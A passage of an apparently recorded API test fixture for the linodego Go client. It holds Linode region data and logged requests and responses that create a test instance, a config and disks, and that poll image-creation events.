172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-ac396j6agu41","firewall_id":634502,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61085471, "label": "go-test-ins-wo-disk-ac396j6agu41", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.61.20"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "f938c3729d62778abc4a62c7f6abecae18bc8c37", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "785" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-ttvlf26h4706","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/configs method: POST response: body: '{"id": 64299474, "label": "go-test-conf-ttvlf26h4706", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471 method: GET response: body: '{"id": 61085471, "label": "go-test-ins-wo-disk-ac396j6agu41", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.61.20"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "f938c3729d62778abc4a62c7f6abecae18bc8c37", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "795" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61085454,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 767841700, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 77, "time_remaining": null, "rate": null, "duration": 31.365883, "action": "disk_imagize", "username": "ErikZilber", "entity": {"label": "go-test-ins-rel2u56f59b9", "id": 61085454, "type": "linode", "url": "/v4/linode/instances/61085454"}, "status": "started", "secondary_entity": {"id": 26108371, "type": "image", "label": "go-test-image-3pdl208t00ae", "url": "/v4/images/private/26108371"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "558" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61085454,"entity.type":"linode","id":{"+gte":767841700}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 767841700, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 84, "time_remaining": null, "rate": null, "duration": 46.499988, "action": "disk_imagize", "username": "ErikZilber", "entity": {"label": "go-test-ins-rel2u56f59b9", "id": 61085454, "type": "linode", "url": "/v4/linode/instances/61085454"}, "status": "started", "secondary_entity": {"id": 26108371, "type": "image", "label": "go-test-image-3pdl208t00ae", "url": "/v4/images/private/26108371"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "558" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61085454,"entity.type":"linode","id":{"+gte":767841700}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 767841700, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 88, "time_remaining": null, "rate": null, "duration": 61.371493, "action": "disk_imagize", "username": "ErikZilber", "entity": {"label": "go-test-ins-rel2u56f59b9", "id": 61085454, "type": "linode", "url": "/v4/linode/instances/61085454"}, "status": "started", "secondary_entity": {"id": 26108371, "type": "image", "label": "go-test-image-3pdl208t00ae", "url": "/v4/images/private/26108371"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "558" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61085454,"entity.type":"linode","id":{"+gte":767841700}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 767841700, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 75.0, "action": "disk_imagize", "username": "ErikZilber", "entity": {"label": "go-test-ins-rel2u56f59b9", "id": 61085454, "type": "linode", "url": "/v4/linode/instances/61085454"}, "status": "finished", "secondary_entity": {"id": 26108371, "type": "image", "label": "go-test-image-3pdl208t00ae", "url": "/v4/images/private/26108371"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "552" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-disk-test-9ed545wnkr60","size":2000,"image":"private/26108371","root_pass":"f},sG8[US0nu]9/YEokA^k~400\u003cb9B''26xG:g350p#cPR6(\\|0*KtDmK44vViJK\\"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks method: POST response: body: '{"id": 120070777, "status": "not ready", "label": "go-disk-test-9ed545wnkr60", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 1040}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-disk-test-0qn8s69g7e6i","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:41 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"go-disk-test-0qn8s69g7e6i","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085471/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:51:44 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' 